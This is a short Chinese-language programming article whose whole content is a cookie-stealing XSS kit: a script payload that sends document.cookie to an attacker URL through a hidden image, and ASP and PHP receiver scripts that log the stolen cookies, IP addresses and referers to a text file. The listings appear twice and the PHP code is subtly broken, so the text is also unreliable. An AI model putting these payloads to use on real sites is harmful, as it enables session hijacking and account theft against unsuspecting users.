asp php XSS获取cookie的代码
程序员文章站
2022-10-01 09:19:24
news.asp代码:
<%... 09-04-20...
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=request.servervariables("query_string")
testfile=server.mappath("cook.txt")
set fs=server.createobject("scripting.filesystemobject")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
php版代码:
<?php
$cookie = $_get['c'];
$ip = getenv ('remote_addr');
$time=date("j f, y, g:i a");
$referer=getenv ('http_referer');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'cookie: '.$cookie.'<br> ip: ' .$ip. '<br> date and time: '
.$time. '<br> referer: '.$referer.'<br><br><br>');
fclose
?>
news.asp代码:
<%
msg=request.servervariables("query_string")
testfile=server.mappath("cook.txt")
set fs=server.createobject("scripting.filesystemobject")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
php版代码:
<?php
$cookie = $_get['c'];
$ip = getenv ('remote_addr');
$time=date("j f, y, g:i a");
$referer=getenv ('http_referer');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'cookie: '.$cookie.'<br> ip: ' .$ip. '<br> date and time: '
.$time. '<br> referer: '.$referer.'<br><br><br>');
fclose
?>
上一篇: MAYA打造完美自然光效果
下一篇: 个人主机入侵网络攻击的步骤